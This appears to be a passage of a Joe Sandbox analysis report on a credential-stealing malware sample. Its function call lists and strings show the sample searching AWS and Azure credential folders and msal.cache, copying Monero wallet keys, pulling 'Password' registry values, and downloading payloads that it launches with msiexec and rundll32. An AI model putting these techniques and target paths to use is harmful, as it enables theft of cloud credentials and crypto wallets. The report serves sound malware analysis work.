Part of subcall function 00A84910: StrCmpCA.SHLWAPI(?,00A90FE0), ref: 00A84987
Part of subcall function 00A84910: FindNextFileA.KERNEL32(000000FF,?), ref: 00A84B7D
Part of subcall function 00A84910: FindClose.KERNEL32(000000FF), ref: 00A84B92

lstrcat.KERNEL32(?,00000000), ref: 00A84EC8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 00A84EE5

Part of subcall function 00A84910: wsprintfA.USER32 ref: 00A849B0
Part of subcall function 00A84910: StrCmpCA.SHLWAPI(?,00A908D2), ref: 00A849C5
Part of subcall function 00A84910: wsprintfA.USER32 ref: 00A849E2
Part of subcall function 00A84910: PathMatchSpecA.SHLWAPI(?,?), ref: 00A84A1E
Part of subcall function 00A84910: lstrcat.KERNEL32(?,0068F500), ref: 00A84A4A
Part of subcall function 00A84910: lstrcat.KERNEL32(?,00A90FF8), ref: 00A84A5C
Part of subcall function 00A84910: lstrcat.KERNEL32(?,?), ref: 00A84A70
Part of subcall function 00A84910: lstrcat.KERNEL32(?,00A90FFC), ref: 00A84A82
Part of subcall function 00A84910: lstrcat.KERNEL32(?,?), ref: 00A84A96
Part of subcall function 00A84910: CopyFileA.KERNEL32(?,?,00000001), ref: 00A84AAC
Part of subcall function 00A84910: DeleteFileA.KERNEL32(?), ref: 00A84B31

Strings

Azure\.azure, xrefs: 00A84DD3
\.aws\, xrefs: 00A84E4D
*.*, xrefs: 00A84DD8
\.IdentityService\, xrefs: 00A84ED9
Azure\.IdentityService, xrefs: 00A84EEB
Azure\.aws, xrefs: 00A84E5F
\.azure\, xrefs: 00A84DC1
msal.cache, xrefs: 00A84EF0
*.*, xrefs: 00A84E64

Memory Dump Source

Source File: 00000000.00000002.1297793080.0000000000A71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A70000, based on PE: true

Associated: 00000000.00000002.1297776705.0000000000A70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000CCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000E58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298376068.0000000000F6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298508561.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298529738.000000000110B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a70000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 949356159-974132213
Opcode ID: 49ef2594cc85786d6be43b8d596cd6772f4ae68899c3a0157fd69125efecefa8
Instruction ID: 770f8f48ea61b401d6599a3d67d0c6c451e4e49983e0cf5bd66bcf3524701fe8
Opcode Fuzzy Hash: 49ef2594cc85786d6be43b8d596cd6772f4ae68899c3a0157fd69125efecefa8
Instruction Fuzzy Hash: CB41D37AA4020476DB14F770DD47FED3278AB64740F004894B28A620C1FEB55BC88B92

Function 00A812D0 Relevance: 21.3, APIs: 11, Strings: 1, Instructions: 310COMMON

Download Yara Rule

Strings

h, xrefs: 00A815EF

Memory Dump Source

Source File: 00000000.00000002.1297793080.0000000000A71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A70000, based on PE: true

Associated: 00000000.00000002.1297776705.0000000000A70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000CCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000E58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298376068.0000000000F6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298508561.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298529738.000000000110B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a70000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID: h
API String ID: 2001356338-961787225
Opcode ID: 22b8648300fefdf4db1788d8c71dec280e613c111caca4d0a63cab6cf1d3b15f
Instruction ID: fee26e23cf4c2acf8b83b27b6b981a9f97fe1aa9b381df4837cde69cbe7e9a12
Opcode Fuzzy Hash: 22b8648300fefdf4db1788d8c71dec280e613c111caca4d0a63cab6cf1d3b15f
Instruction Fuzzy Hash: D6C173B5E002199BCB14FF60DD89FEE7778BB64304F004599F50AA7241EE74AA85CFA1

Function 00A82E30 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 00A8A740: lstrcpy.KERNEL32(00A90E17,00000000), ref: 00A8A788

ShellExecuteEx.SHELL32(0000003C), ref: 00A831C5
ShellExecuteEx.SHELL32(0000003C), ref: 00A8335D
ShellExecuteEx.SHELL32(0000003C), ref: 00A834EA

Strings

<, xrefs: 00A83490
.dll, xrefs: 00A831E5
/passive, xrefs: 00A8345B
C:\Windows\system32\rundll32.exe, xrefs: 00A83332
/i ", xrefs: 00A833E4
"" , xrefs: 00A8309A
.msi, xrefs: 00A83398
C:\Windows\system32\msiexec.exe, xrefs: 00A834BF

Memory Dump Source

Source File: 00000000.00000002.1297793080.0000000000A71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A70000, based on PE: true

Associated: 00000000.00000002.1297776705.0000000000A70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000CCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000E58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298376068.0000000000F6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298508561.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298529738.000000000110B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a70000_file.jbxd

Yara matches

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
API String ID: 2507796910-3625054190
Opcode ID: 1c3e3eb3c446d65fcfd4a14eed5f09678b7fd5785b967d9b668faa7cda3fd824
Instruction ID: 94ae89612e48441531a644a6383e134835388ac2cca98824df2ba37db5312736
Opcode Fuzzy Hash: 1c3e3eb3c446d65fcfd4a14eed5f09678b7fd5785b967d9b668faa7cda3fd824
Instruction Fuzzy Hash: 15120271D101189AEB19FBA0DE92FEDB778AF24300F50455AF50676191EF382B4ACF62

Function 00A852C0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 139stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00A8A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00A8A7E6

Part of subcall function 00A76280: InternetOpenA.WININET(00A90DFE,00000001,00000000,00000000,00000000), ref: 00A762E1
Part of subcall function 00A76280: StrCmpCA.SHLWAPI(?,0068F400), ref: 00A76303
Part of subcall function 00A76280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00A76335
Part of subcall function 00A76280: HttpOpenRequestA.WININET(00000000,GET,?,0068EC88,00000000,00000000,00400100,00000000), ref: 00A76385
Part of subcall function 00A76280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00A763BF
Part of subcall function 00A76280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00A763D1

Part of subcall function 00A8A8A0: lstrcpy.KERNEL32(?,00A90E17), ref: 00A8A905

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00A85318
lstrlen.KERNEL32(00000000), ref: 00A8532F

Part of subcall function 00A88E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00A88E52

StrStrA.SHLWAPI(00000000,00000000), ref: 00A85364
lstrlen.KERNEL32(00000000), ref: 00A85383
lstrlen.KERNEL32(00000000), ref: 00A853AE

Part of subcall function 00A8A740: lstrcpy.KERNEL32(00A90E17,00000000), ref: 00A8A788

Strings

ERROR, xrefs: 00A8546F
ERROR, xrefs: 00A85432
ERROR, xrefs: 00A8530A
ERROR, xrefs: 00A853B9
ERROR, xrefs: 00A854A9

Memory Dump Source

Source File: 00000000.00000002.1297793080.0000000000A71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A70000, based on PE: true

Associated: 00000000.00000002.1297776705.0000000000A70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000CCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000E58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298376068.0000000000F6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298508561.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298529738.000000000110B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a70000_file.jbxd

Yara matches

Similarity

API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSend
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3240024479-1526165396
Opcode ID: e3f72cf8bf65cce959a52b7742ceafe76b9a8262c9841d1e56db0de8468b5d39
Instruction ID: 00b3e6af73f1abfd16068dab9eaab10b47618a00784b8c7819253307c393ba98
Opcode Fuzzy Hash: e3f72cf8bf65cce959a52b7742ceafe76b9a8262c9841d1e56db0de8468b5d39
Instruction Fuzzy Hash: 34511230E101489BEB18FF64CE96AED7779AF20300F504019F80A9B591EF386B45CB62

Function 00A71310 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 141stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00A712A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00A712B4
Part of subcall function 00A712A0: RtlAllocateHeap.NTDLL(00000000), ref: 00A712BB
Part of subcall function 00A712A0: RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 00A712D7
Part of subcall function 00A712A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 00A712F5
Part of subcall function 00A712A0: RegCloseKey.ADVAPI32(?), ref: 00A712FF

lstrcat.KERNEL32(?,00000000), ref: 00A7134F
lstrlen.KERNEL32(?), ref: 00A7135C
lstrcat.KERNEL32(?,.keys), ref: 00A71377

Part of subcall function 00A8A740: lstrcpy.KERNEL32(00A90E17,00000000), ref: 00A8A788

Part of subcall function 00A8A9B0: lstrlen.KERNEL32(?,006888B8,?,\Monero\wallet.keys,00A90E17), ref: 00A8A9C5
Part of subcall function 00A8A9B0: lstrcpy.KERNEL32(00000000), ref: 00A8AA04
Part of subcall function 00A8A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00A8AA12

Part of subcall function 00A8A8A0: lstrcpy.KERNEL32(?,00A90E17), ref: 00A8A905

Part of subcall function 00A88B60: GetSystemTime.KERNEL32(00A90E1A,0068E2E8,00A905AE,?,?,00A713F9,?,0000001A,00A90E1A,00000000,?,006888B8,?,\Monero\wallet.keys,00A90E17), ref: 00A88B86

Part of subcall function 00A8A920: lstrcpy.KERNEL32(00000000,?), ref: 00A8A972
Part of subcall function 00A8A920: lstrcat.KERNEL32(00000000), ref: 00A8A982

CopyFileA.KERNEL32(?,00000000,00000001), ref: 00A71465

Part of subcall function 00A8A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00A8A7E6

Part of subcall function 00A799C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00A799EC
Part of subcall function 00A799C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00A79A11
Part of subcall function 00A799C0: LocalAlloc.KERNEL32(00000040,?), ref: 00A79A31
Part of subcall function 00A799C0: ReadFile.KERNEL32(000000FF,?,00000000,00A7148F,00000000), ref: 00A79A5A
Part of subcall function 00A799C0: LocalFree.KERNEL32(00A7148F), ref: 00A79A90
Part of subcall function 00A799C0: CloseHandle.KERNEL32(000000FF), ref: 00A79A9A

DeleteFileA.KERNEL32(00000000), ref: 00A714EF

Strings

\Monero\wallet.keys, xrefs: 00A7138D
wallet_path, xrefs: 00A71330
SOFTWARE\monero-project\monero-core, xrefs: 00A71335
.keys, xrefs: 00A7136B

Memory Dump Source

Source File: 00000000.00000002.1297793080.0000000000A71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A70000, based on PE: true

Associated: 00000000.00000002.1297776705.0000000000A70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000CCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000E58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298376068.0000000000F6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298508561.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298529738.000000000110B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a70000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlen$AllocAllocateCopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 3478931302-218353709
Opcode ID: bcb5b7bc98dc0b143de1b74705ffa13b95a0b3e387840cfc75dd6583eedf99d9
Instruction ID: 9fb6578f7e29029c6f0e41b09dd907760638f138e22ff06be7aeb79a090c0aa8
Opcode Fuzzy Hash: bcb5b7bc98dc0b143de1b74705ffa13b95a0b3e387840cfc75dd6583eedf99d9
Instruction Fuzzy Hash: 755197B1D1011857DB15FB60DE96FED737CAF64300F4045D9B60AA2082EE346B8ACFA6

Function 00A775D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00A772D0: RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 00A7733A
Part of subcall function 00A772D0: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00A773B1
Part of subcall function 00A772D0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 00A7740D
Part of subcall function 00A772D0: GetProcessHeap.KERNEL32(00000000,?), ref: 00A77452
Part of subcall function 00A772D0: HeapFree.KERNEL32(00000000), ref: 00A77459

lstrcat.KERNEL32(00000000,00A917FC), ref: 00A77606
lstrcat.KERNEL32(00000000,00000000), ref: 00A77648
lstrcat.KERNEL32(00000000, : ), ref: 00A7765A
lstrcat.KERNEL32(00000000,00000000), ref: 00A7768F
lstrcat.KERNEL32(00000000,00A91804), ref: 00A776A0
lstrcat.KERNEL32(00000000,00000000), ref: 00A776D3
lstrcat.KERNEL32(00000000,00A91808), ref: 00A776ED
task.LIBCPMTD ref: 00A776FB

Strings

: , xrefs: 00A7764E

Memory Dump Source

Source File: 00000000.00000002.1297793080.0000000000A71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A70000, based on PE: true

Associated: 00000000.00000002.1297776705.0000000000A70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000CCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000E58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298376068.0000000000F6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298508561.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298529738.000000000110B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a70000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuetask
String ID: :
API String ID: 2677904052-3653984579
Opcode ID: 9e7ebc3eef4d027ed61eaf3a271a63c00a656ce3ecd84281288123abef29ec38
Instruction ID: c3532739cc936c3fb355d0c09e27faaf23c3fddf0587cd4d3538cdb1ce26d44a
Opcode Fuzzy Hash: 9e7ebc3eef4d027ed61eaf3a271a63c00a656ce3ecd84281288123abef29ec38
Instruction Fuzzy Hash: CC311CB1A00109EBCB04EBB4DD99FFF7779BB54301F14C618F106A72A1DA35A946CB52

Function 00A760A0 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00A8A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00A8A7E6

Part of subcall function 00A747B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00A74839
Part of subcall function 00A747B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00A74849

InternetOpenA.WININET(00A90DF7,00000001,00000000,00000000,00000000), ref: 00A7610F
StrCmpCA.SHLWAPI(?,0068F400), ref: 00A76147
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 00A7618F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00A761B3
InternetReadFile.WININET(?,?,00000400,?), ref: 00A761DC
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00A7620A
CloseHandle.KERNEL32(?,?,00000400), ref: 00A76249
InternetCloseHandle.WININET(?), ref: 00A76253
InternetCloseHandle.WININET(00000000), ref: 00A76260

Memory Dump Source

Source File: 00000000.00000002.1297793080.0000000000A71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A70000, based on PE: true

Associated: 00000000.00000002.1297776705.0000000000A70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000CCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000E58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298376068.0000000000F6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298508561.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298529738.000000000110B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a70000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 2507841554-0
Opcode ID: 72ab4e8563375b1f8602eb890e2f37a7b90b9fac3e73c3650892d128f75e43f9
Instruction ID: 7c9ec8bae6fbfe7ee12e51b1d64be05e6cda825cf27c16e80942a7ac56bc6ba7
Opcode Fuzzy Hash: 72ab4e8563375b1f8602eb890e2f37a7b90b9fac3e73c3650892d128f75e43f9
Instruction Fuzzy Hash: 135160B1A00618ABEB20DF60DD49BEE77B8EB44701F10C198B609B71C1DB746A89CF95

Function 00A772D0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 00A7733A
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00A773B1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 00A7740D
GetProcessHeap.KERNEL32(00000000,?), ref: 00A77452
HeapFree.KERNEL32(00000000), ref: 00A77459
task.LIBCPMTD ref: 00A77555

Strings

Password, xrefs: 00A77401

Memory Dump Source

Source File: 00000000.00000002.1297793080.0000000000A71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A70000, based on PE: true

Associated: 00000000.00000002.1297776705.0000000000A70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000CCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000E58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298376068.0000000000F6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298508561.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298529738.000000000110B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a70000_file.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuetask
String ID: Password
API String ID: 775622407-3434357891
Opcode ID: 0d65ab8f54ce67e9cde47365f7bbc94e58cfb311acf373bdbd56bad599bb7ed5
Instruction ID: 7fa057db4cdab60d53cb400a1a861a34859693ed82bfa2e90a6ac8c15c732373
Opcode Fuzzy Hash: 0d65ab8f54ce67e9cde47365f7bbc94e58cfb311acf373bdbd56bad599bb7ed5
Instruction Fuzzy Hash: D16119B59441689BDB24DB50CD45BDEB7B8BF48300F00C1E9E68DA6141EBB46BC9CFA1

Function 00A840B0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,0068D980,00000000,00020119,?), ref: 00A840F4
RegQueryValueExA.ADVAPI32(?,0068E958,00000000,00000000,00000000,000000FF), ref: 00A84118
RegCloseKey.ADVAPI32(?), ref: 00A84122
lstrcat.KERNEL32(?,00000000), ref: 00A84147
lstrcat.KERNEL32(?,0068E9A0), ref: 00A8415B

Strings

h, xrefs: 00A84233
Xh, xrefs: 00A8410D

Memory Dump Source

Source File: 00000000.00000002.1297793080.0000000000A71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A70000, based on PE: true

Associated: 00000000.00000002.1297776705.0000000000A70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000CCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000E58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F5F000.00000040.00000001.01000000.00000003.sdmpDownload File
